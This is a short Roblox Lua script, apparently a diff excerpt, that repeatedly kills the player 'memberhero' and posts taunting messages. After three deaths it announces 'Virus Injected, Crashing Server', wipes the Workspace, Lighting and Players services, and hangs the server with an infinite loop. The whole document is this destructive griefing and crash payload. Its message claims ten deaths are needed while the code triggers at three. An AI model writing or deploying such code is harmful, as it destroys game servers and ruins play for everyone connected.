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- Workspace.memberhero:BreakJoints()
- local num = 0
- game.Players.memberhero.CharacterAdded:connect(function(char)
- repeat wait() until char:findFirstChild("Humanoid")
- char.Humanoid.Died:connect(function()
- num = num + 1
- local Msg = Instance.new("Message")
- Msg.Parent = game.Workspace
- Msg.Text = "Someone has killed memberhero, If he dies "..10-num.." more times the server will crash"
- wait(5)
- Msg:remove()
- if num == 3 then
- local Msg = Instance.new("Message")
- Msg.Parent = game.Workspace
- Msg.Text = "Virus Injected, Crashing Server"
- wait(5)
- pcall(function()
- game:GetService("Workspace"):ClearAllChildren()
- end)
- game:GetService("Lighting"):ClearAllChildren()
- game:GetService("Players"):ClearAllChildren()
- Instance.new("ManualSurfaceJointInstance")
- while true do end
- end
- end)
- end)
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